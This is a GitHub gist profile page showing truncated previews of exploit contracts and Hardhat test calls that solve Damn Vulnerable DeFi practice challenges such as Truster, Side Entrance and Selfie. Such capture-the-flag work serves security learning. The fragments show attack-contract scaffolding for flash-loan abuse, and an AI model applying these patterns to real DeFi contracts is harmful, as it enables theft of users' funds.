Skip to content

Instantly share code, notes, and snippets.

View 0xAnon101's full-sized avatar
🎓
Rain , coffee , code

0xAnon 0xAnon101

🎓
Rain , coffee , code
  • EVM
View GitHub Profile
it("Exploit", async function () {
const SelfieExploitFactory = await ethers.getContractFactory(
"SelfieExploit",
attacker
);
this.selfieExploit = await SelfieExploitFactory.deploy(
this.token.address,
this.governance.address,
this.pool.address
);
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";
interface IDamnValuableToken {
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount)
external
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";
contract RewarderExploit {
address flashLoanPool;
address rewarderPool;
IERC20 public immutable liquidityToken;
it("Exploit", async function () {
const SideEntranceExploitFactory = await ethers.getContractFactory(
"SideEntranceExploit",
attacker
);
const SideEntranceExploit = await SideEntranceExploitFactory.deploy(
this.pool.address
);
await SideEntranceExploit.deployed();
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
interface ISideEntranceLenderPool {
function deposit() external payable;
function withdraw() external;
pragma solidity ^0.8.0;
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
contract SideEntranceLenderPool {
// ...
function deposit() external payable {
@0xAnon101
0xAnon101 / truster.exploit.js
Created August 27, 2022 06:34
truster exploit call
it("Exploit", async function () {
const TrusterExploiterFactory = await ethers.getContractFactory(
"TrusterExploiter",
attacker
);
const TrusterExploiter = await TrusterExploiterFactory.deploy(
this.pool.address,
this.token.address
);
@0xAnon101
0xAnon101 / TrusterExploiter.sol
Last active August 27, 2022 06:38
Truster receiver (exploit)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract TrusterExploiter {
IERC20 public immutable damnValuableToken;
address payable pool;
uint256 public immutable MAX_INTEGER = 2**256 - 1;
@0xAnon101
0xAnon101 / exploit.js
Created August 15, 2022 05:47
exploit interface calling
it("Exploit", async function () {
const naiveAttackerFactrory = await ethers.getContractFactory(
"NaiveAttacker",
attacker
);
const naiveAttacker = await naiveAttackerFactrory.deploy(this.pool.address);
// Attack
console.log(
@0xAnon101
0xAnon101 / naiveAttacker.sol
Created August 15, 2022 05:41
attacker for lend/borrow
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";
contract NaiveAttacker {
address pool;
constructor(address payable _pool) {
pool = _pool;
}